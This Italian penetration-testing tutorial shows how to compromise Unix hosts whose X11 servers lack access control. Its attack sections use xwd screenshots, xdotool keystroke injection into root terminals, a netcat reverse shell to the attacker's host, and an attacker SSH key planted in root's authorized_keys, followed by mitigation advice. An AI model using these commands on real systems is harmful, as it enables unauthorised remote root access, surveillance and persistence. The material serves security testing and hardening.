X-Windows Penetration Test – Accesso remoto e compromissione della sicurezza

Per quanto possa sembrare anacronistico, durante i security assessment effettuati da Quantum Leap non è raro imbattersi in server X-Windows, non adeguatamente protetti, sui sistemi Unix con gestori grafici X11/XFree86/X.org attivi, anche nel 2014. Certamente parliamo di sistemi interni non esposti su Internet, ma di fatto in questo articolo verrà dimostrato come, sfruttando le misconfigurazioni tipiche di X-Windows, sia possibile garantirsi un accesso privilegiato sul sistema operativo Unix senza utilizzare nessun exploit. L’X-Windows System è un gestore grafico molto diffuso su sistemi Unix-like ed basato su una architettura client-server. Un server X-Windows può essere inteso come un programma di sistema che controlla l’output video di tipo grafico, ma anche un componente hardware dedicato. Il protocollo di comunicazione tra client e server funziona in modo trasparente rispetto alla rete, il server può quindi ricevere input da programmi ed utenti da remoto e produrre output verso un display remoto. Ad esempio è possibile eseguire un server X-Windows su un sistema Microsoft, accettando input da programmi in esecuzione su un sistema Unix. Il servizio X-Windows è notoriamente conosciuto per le sue problematiche legate alla sicurezza, infatti se non correttamente configurato un server X-Windows può accettare input da parte di qualsiasi host e ridirezionare l’output su un qualsiasi host arbitrario, il tutto in maniera non autenticata. Queste problematiche sono note fino dal lontano 1997.

Vulnerability Summary for CVE-1999-0526
Original release date:07/01/1997
Last revised:09/09/2008
Source: US-CERT/NIST
Overview: An X server’s access control is disabled (e.g. through an “xhost +” command) and allows anyone to connect to the server.

Pur trattandosi di una misconfigurazione datata è tuttora possibile imbattersi in server X-Windows non adeguatamente configurati. Sfruttando le  misconfigurazioni è possibile ottenere l’accesso diretto all’host con i privilegi dell’utente con il quale è in esecuzione il server X-Windows. Inoltre, se ci sono programmi in esecuzione con privilegi di root collegati allo stesso display, come ad esempio un xterm aperto sulla console, è possibile leggere e scrivere files sul filesystem remoto.  Risulta quindi evidente che è possibile portare a termine con successo attacchi di tipo privilege-escalation.

INTERAGIRE CON UN SERVER X-WINDOWS

È possibile interagire con un server X-Windows non adeguatamente protetto in diversi modi senza la necessità di conoscere le credenziali di accesso al sistema. Vediamo alcuni esempi.

• È possibile catturare la schermata attiva su un determinato DISPLAY della console X-Windows remota.
• È possibile elencare tutte le finestre attualmente aperte sulla console X-Windows remota.
• È possibile aprire un nostro xterm su un determinato DISPLAY della console X-Windows remota.
• È possibile inviare comandi ad eventuali xterm già aperti sulla console X-Windows remota.

Iniziamo la nostra sessione di X-Windows Penetration Test spiegando come è possibile, attraverso l’utilizzo del comando xwd, catturare una schermata della console remota di un server X-Windows in esecuzione su un determinato host:

# xwd -display 192.168.1.1:0 -debug -root -silent -out shoot.xwd

# xwd: Getting target window information.
xwd: Getting Colors.
xwd: Calculating header size.
xwd: Constructing and dumping file header.
xwd: Dumping 64 colors.
xwd: Dumping pixmap. bufsize=1572864
xwd: Freeing colors.
xwd: Freeing window name string.

# convert shoot.xwd shoot.png

I parametri importanti sono “-display” che indica quale display dell’host remoto si desidera catturare, nel formato host:numero_display.  Il numero del display si deduce anche dalla porta TCP sul quale risulta in ascolto il servizio X-Windows (ad esempio il display 1 corrisponde alla porta TCP 6001). Il parametro “-root” indica la selezione della finestra root, ovvero la finestra principale senza la necessità da parte dell’utente di selezionare tale finestra con il puntatore del mouse . Il parametro “-silent”  disabilita gli avvisi sonori sul sistema remoto. Affinchè l’immagine prelevata sia visualizzabile con i comuni programmi è opportuno convertirla in un formato più comune utilizzando il comando convert, di norma presente sui sistemi Unix.

X-Windows Penetration Test – Remote xterm

Proseguiamo la nostra sessione di X-Windows Penetration Test, spiegando come sia possibile prelevare un elenco di tutte le finestre ed i relativi programmi attivi sulla console remota del server X-Windows, sempre in maniera non autenticata.

# xwininfo -display 192.168.1.1:0 -all -root
xwininfo: Window id: 0x3a (the root window) (has no name)
Root window id: 0x3a (the root window) (has no name)
Parent window id: 0x0 (none)
2 children:
0x400026 "@HOST01:~/tmp": ("xterm" "XTerm")  499x316+0+0  +0+0
1 child:
0x40002d (has no name): ()  499x316+0+0  +1+1
1 child:
0x400032 (has no name): ()  14x316+-1+-1  +0+0
0x200007 "VNC config": ("VNC config" "Vncconfig")  300x100+0+-23  +0+-23
3 children:
0x20000c (has no name): ()  216x20+3+43  +3+20
0x20000a (has no name): ()  173x20+3+23  +3+0
0x200008 (has no name): ()  197x20+3+3  +3+-20
Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x22
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0
Bit gravity: ForgetGravity
Window gravity: NorthWestGravity
Backing-store hint: NotUseful
Backing-planes to be preserved: 0xffffffff
Backing pixel: 0
Save-unders: No
Someone wants these events:
PropertyChange
Do not propagate these events:
Override redirection?: No
No window manager hints defined
Window manager hints:
Process id: (unknown)
No normal window size hints defined
No zoom window size hints defined
No window shape defined
No border shape defined

Un altro trick da eseguire durante un X-Windows Penetration Test è l’apertura di un xterm da noi controllato sul desktop remoto del sistema vittima. Questo trick è particolarmente interessante poiché se l’utente della console remota, utilizzerà il nostro xterm, eseguendo comandi al suo interno, tali comandi saranno intercettati localmente sul nostro sistema attaccante in quanto i comandi non saranno eseguiti sul sistema remoto ma all’interno dell’xterm aperto e controllato da chi attacca. Utilizzando uno sniffer in locale sarà quindi possibile intercettare i comandi impartiti dall’utente remoto. Ecco come procedere:

# export DISPLAY=192.168.1.1:0
# xterm &

Per eseguire attacchi di questo tipo, che coinvolgono la redirezione dell’input remoto, un tempo esistevano questi piccoli programmi, ancora validi e disponibili oggidì.

xkey.c
xpusher.c
xsnoop.c

Attualmente è però disponibile un programma specifico e ricco di ottime features denominato “xdotool“. Utilizzando xdotool, sviluppato da Jordan Sissel, è possibile inviare comandi ad un server X-Windows remoto. Xdotool consente di simulare la pressione dei tasti della tastiera, lo spostamento ed i click del mouse. Lo strumento consente inoltre di interrogare il server X-Windows per ottenere informazioni sulle finestre aperte e consente la loro manipolazione: ad esempio è possibile interrogare il server X-Windows remoto richiedendo una lista di finestre attive che contengono nel titolo della finestra, la parola “root”. Le funzionalità di questo tool sono moltissime, tuttavia la disponibilità di queste funzioni è legata alla versione del server X-Windows al quale ci si collegherà, in particolare le implementazioni dei server X-Windows sulle piattaforme Microsoft, come ad esempio Xming, non consentono la ricerca delle finestre. In questi casi xdotool avviserà l’utilizzatore della non disponibilità della funzione scelta. Consigliamo di utilizzare la versione corrente e mantenuta dall’autore, reperibile al seguente URL: https://github.com/jordansissel/xdotool. Per utilizzare xdotool è necessario prima di tutto specificare il display al quale inviare i comandi attraverso l’impostazione della variabile d’ambiente locale DISPLAY. Impostando dunque la variabile locale come segue, sarà specificato a quale display (3) ed a quale host (192.168.1.1) saranno inoltrati i nostri comandi:

# export DISPLAY=192.168.1.1:3

Una volta eseguito l’export del display remoto è possibile usare xdotool per simulare la pressione di un tasto della tastiera ed inviare il codice relativo al server X, usando questa sintassi:

# xdotool key tasto_da_inviare

Dove tasto_da_inviare corrisponde ad un codice keysym. La lista dei codici keysm è inclusa nei sorgenti di X11 e tipicamente si trova in /usr/include/X11/keysymdef.h . È possibile inviare una sequenza di tasti separando i codici con uno spazio, ad esempio con il comando:

# xdotool key i d KP_Enter

Verrà dunque eseguito il comando “id” all’interno di un xterm remoto aperto sulla console. Per inviare stringhe complesse è invece preferibile utilizzare la modalità “type”:

# xdotool type "id;uname -a;whoami"
# xdotool key KP_Enter

Così facendo le sequenze di tasti inviati al server remoto saranno ricevuti dalla finestra xterm, attiva al momento dell’esecuzione del comando o sulla quale risulta puntato il focus tastiera/mouse. Xdotool può essere utilizzato anche per ottenere l’id della finestra che ha il focus attivo:

# xdotool getwindowfocus
16785116

Conoscendo l’id della finestra attiva, è possibile assegnare il focus sulla stessa al fine di prenderne il controllo ed iniziare ad utilizzarle remotamente:

# xdotool windowfocus id_finestra

Per attivare una finestra invece si può usare:

# xdotool windowactivate id_finestra

Interrogando il server X-Windows remoto con dei parametri di ricerca, è possibile rilevare la lista delle finestre che contengono la parola “root” all’interno del titolo della finestra:

# xdotool search –name root
16785116

Si può effettuare la ricerca delle finestre per classe di appartenenza, ad esempio per cercare le finestre appartenenti alla classe di tipo “iceweasel” si può utilizzare il parametro “–class”:

# xdotool search –class iceweasel
54526092
54525953
54526059

Per non interagire direttamente con gli id delle finestre è possibile usare la modalità command chaining di xdotool per eseguire dei comandi avendo come parametro l’id di una finestra restituito da un precedente comando, ad esempio per cercare una finestra che ha nel titolo la parola root,  attivarla e settarne il focus si può procedere come segue:

# xdotool search –name root windowactivate windowfocus

Qualora la ricerca restituisse più di un risultato, la finestra selezionata ed attivata sarà la prima in testa alla lista degli id finestra. Concatenando i comandi dopo un search si può essere ragionevolmente sicuri che l’input fornito al server X venga effettivamente ricevuto dalla finestra desiderata. Ad esempio, volendo eseguire in sequenza la ricerca di una finestra aperta di Iceweasel, selezionarla, puntare il focus sulla la barra del titolo e con la short-cut relativa procedere con l’inserimento di un URL da  richiamare, si può usare xdotool così come mostrato:

# xdotool search “Iceweasel” windowactivate –sync key –clearmodifiers ctrl+l
# xdotool type www.quantumleap.it
# xdotool key KP_Enter

Il parametro “–clearmodifiers” disabilita eventuali tasti premuti sulla tastiera come shift o maiusc e li re-imposta nuovamente al termine dell’invio del comando. L’opzione “–sync” fa in modo che, se vengono eseguiti comandi che prevedono lo spostamento del cursore del mouse, questo venga effettivamente spostato prima di terminare l’esecuzione del comando. Per eseguire dei programmi su un server X-Windows remoto si possono usare anche le combinazione di tasti che di default che il server X-Windows accetta per aprire un xterminal:

# xdotool key alt+F2
# xdotool type xterm
# xdotool key KP_Enter

SCENARIO DI ATTACCO

Continuando la sessione di X-Windows Penetration Test, passiamo ora attivamente alla descrizione della fase di attacco e compromissione del sistema. Per fare ciò sono necessarie prima di tutto alcune considerazioni, che determineranno la scelta della corretta modalità operativa. In prima istanza bisogna considerare la visibilità tra l’host da cui ha origine d’attacco ed il sistema attaccato: se l’host da cui ha origine l’attacco è raggiungibile dall’host vittima dell’attacco, è possibile inviare dei comandi per ottenere un accesso interattivo (bindshell\reverseshell). In secondo luogo va considerato se il server X-Windows attaccato è utilizzato da qualcuno nel corso del X-Windows Penetration Test:  va ricordato che tutto ciò che eseguiremo sulla console remota sarà visibile e modificabile da un eventuale utente collegato ed operativo localmente, contrariamente, sul sistema da cui hanno origine gli attacchi non avremo visibilità di ciò che realmente viene eseguito sul server X. A tal proposito è consigliato eseguire periodicamente degli screen-shot con il comando xwd, così come abbiamo visto in precedenza, al fine verificare il corretto andamento delle operazioni. Un ulteriore considerazione da effettuare nel corso di un X-Windows Penetration Test riguarda gli altri servizi esposti dall’host attaccato: se l’host attaccato espone il servizio SSH, si può inserire una chiave SSH pubblica all’interno del file authorized_keys dell’utente, possibilmente con privilegi amministrativi, per compromettere il sistema ed ottenere un accesso remoto. Un ultima considerazione può essere effettuata sui tools disponibili all’interno del sistema attaccato: nel caso si voglia procedere nello scenario d’attacco con l’accesso remoto tramite reverse shell, è necessario che l’host vittima dell’attacco disponga, ad esempio, del comando netcat “nc”.

X-Windows Penetration Test – SCENARIO 1: NC Reverse shell

Affinché sia possibile utilizzare su un sistema una reverse shell bisogna che i sistemi coinvolti nell’attacco siano raggiungibili, in particolare che il server attaccato raggiunga il sistema da cui ha origine l’attacco sulle porte specificate, e che sia presente sull’host attaccato il programma “netcat” con il flag SECURITY GAP_HOLE  (ovvero che sia possibile invocare netcat con il parametro –e). Iniziamo:

# export DISPLAY=192.168.1.1:3
# nc -vv -l -p 8080
Su un secondo terminale dovrà essere impartito il comando per far collegare la reverse shell verso il nostro sistema:
# xdotool key alt+F2
# xdotool key n c space 1 9 2 period 1 6 8 period 1 period 1 space 8 0 8 0 space minus e space slash b i n slash s h space ampersand
# xdotool key KP_Enter

X-Windows Penetration Test – SCENARIO 2: SSH KEY

Nel caso in cui non sia possibile ottenere un accesso interattivo tramite una reverse shell … DON’T PANIC! La nostra sessione di X-Windows Penetration Test può ancora essere proficua se sull’host attaccato è in esecuzione il demone SSH. Si può infatti inserire (in append) una chiave SSH pubblica tra quelle accettate per l’utente che esegue il server X-Windows (tipicamente root). Qualora non fosse presente la directory /root/.ssh sarà necessario crearla e configurare correttamente i  permessi come segue:

# mkdir /root/.ssh
# chmod 700 /root/.ssh

Dopodiché sarà possibile, mediante xdotool incollare una chiave pubblica appositamente generata con il comando:

# xdotool key alt+F2
# xdotool type xterm
# xdotool key KP_Enter
# xdotool type "echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEA5+fdasQXvFpzHLekVi7F2eLsD+iB8Gt7UFfzXb0KA4RKr7Oibe\" "
# xdotool key space greater greater space
# xdotool type ‘/root/.ssh/authorized_keys’
# xdotool key KP_Enter
# xdotool type "chmod 700 /root/.ssh"
# xdotool key KP_Enter
# xdotool type "chmod 600 /root/.ssh/authorized_keys"
# xdotool key KP_Enter

Il testo ricevuto sul terminale xterm, prima che venga eseguito con KP_Enter, è il seguente:

vittima# echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEA5+fdasQXvFpzHLekVi7F2eLsD+iB8Gt7UFfzXb0KA4RKr7Oibeo" >> /root/.ssh/authorized_keys

Sarà quindi sufficiente collegarsi al sistema remoto via SSH per usufruire di una root shell appena conquistata. Ovviamente questo trick è possibile solamente se il demone SSH remoto è in grado di autenticare l’accesso via chiavi pubbliche, solitamente tale modalità risulta attiva di default e quasi mai disattivata, anche se l’accesso al sistema Unix avviene via login interattivo, cioè con l’inserimento di username e password.

X-Windows Penetration Test – ALTRI SUGGERIMENTI

Disabilitare il salvaschermo. Se il salvaschermo è attivo sul server X remoto, è necessario disabilitarlo prima di procedere altrimenti non sarà possibile né catturare le schermate né inviare comandi. È possibile usare il comando xset per disabilitare il salvaschermo con la seguente sintassi, supponendo come in precedenza, che il display remoto sia 192.168.1.1:3

# xset –display 192.168.1.1:3 s reset

In seguito per riabilitarlo si può usare xset come segue:

# xset –display 192.168.1.1:3 s activate

Per testare le tecniche esposte è sufficiente, su un sistema Linux, disabilitare il controllo d’accesso al server X-Windows con il comando xhost + sull’host vittima.

# xhost +
access control disabled, clients can connect from any host

# export DISPLAY=192.168.1.1:3

WORKAROUND

È opportuno spendere due parole su come si possono mitigare le problematiche illustrate. In prima istanza è necessario configurare un adeguato meccanismo di autenticazione che può essere di differente natura:

• HOST BASED: il comando Unix xhost serve per aggiungere o rimuovere gli hosts dalla lista di quelli abilitati all’utilizzo del server X-Windows. Per esempio, volendo consentire all’host test.quantumleap.it l’accesso all’X-Winows server si dovrà utilizzare il comando “xhost +test.quantumleap.it“. Contrariamente volendo negare l’accesso si utilizzerà il comando “xhost -test.quantumleap.it“. L’errore più comune, che favorisce lo scaturire della problematica esposta nell’articolo, è infatti l’esecuzione errata del comando “xhost +” che rende possibile a qualsiasi host di connettersi ed utilizzare il servizi X11 in maniera completamente non autenticata. Un altro problema legato all’autenticazione host based riguarda l’assenza del controllo utente:  qualsiasi utente proveniente da un host al quale è stato garantito l’accesso può utilizzare i servizi X11;

• MIT-MAGIC COOKIE:  Un ulteriore contromisura per limitare l’utilizzo del server X-Windows è costituita dai MAGIC COOKIE, una stringa randomica di 128 bit,  generati all’avvio del servizio X-Windows e salvati all’interno del file definito dell’environment locale XAUTHORITY. Essi possono essere manipolati (importati ed esportati) mediante il comando xauth. Questi cookie vengono inviati in chiaro sul network dal protocollo X11. Qualora la variabile di ambiente XAUTHORITY risultasse non configurata di default, essi saranno salvati all’interno del file $HOME/.Xauthority.

• XDM-AUTHORIZATION: Questa modalità, raramente utilizzata, è basata sull’algoritmo di cifratura DES, attraverso il quale viene generata una chiave di 192 bits dei valori relativi all’indirizzo di rete, l’ora corrente e la porta TCP utilizzata. Questo token crittografico sarà inviato al server X-Windows che decodificandolo verificherà la validità dei dati e consentirà o meno l’accesso;

• MIT-KERBEROS-1: Si tratta della comune forma di autenticazione mediante Kerberos ticket.

Per migliorare ulteriormente la sicurezza dei servizi X11 è consigliabile l’utilizzo ed il forwarding attraverso il protocollo SSH che garantisce un robusto livello di cifratura del trasporto dei dati sul network.  Inoltre un hardening del servizo SSH, lato server,  è fortemente consigliato qualora non fosse comunemente utilizzata l’autenticazione con chiave pubblica ma solamente l’autenticazione interattiva username/password, modificando il file di configurazione /etc/ssh/sshd_config come segue:

PermitRootLogin no
PubkeyAuthentication no
Protocol 2

RIFERIMENTI

http://cgit.freedesktop.org/xorg/proto/x11proto/plain/keysymdef.h – Elenco di codici keysym
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0526 – CVE-1999-0526
http://www.semicomplete.com/projects/xdotool/ – Sito ufficiale di xdtotool
http://openbsd.org/papers/xf86-sec.pdf – Enhancing XFree86 Security
http://www.xfree86.org/ – The XFree86 Project
http://www.x.org/ – X.org Foundation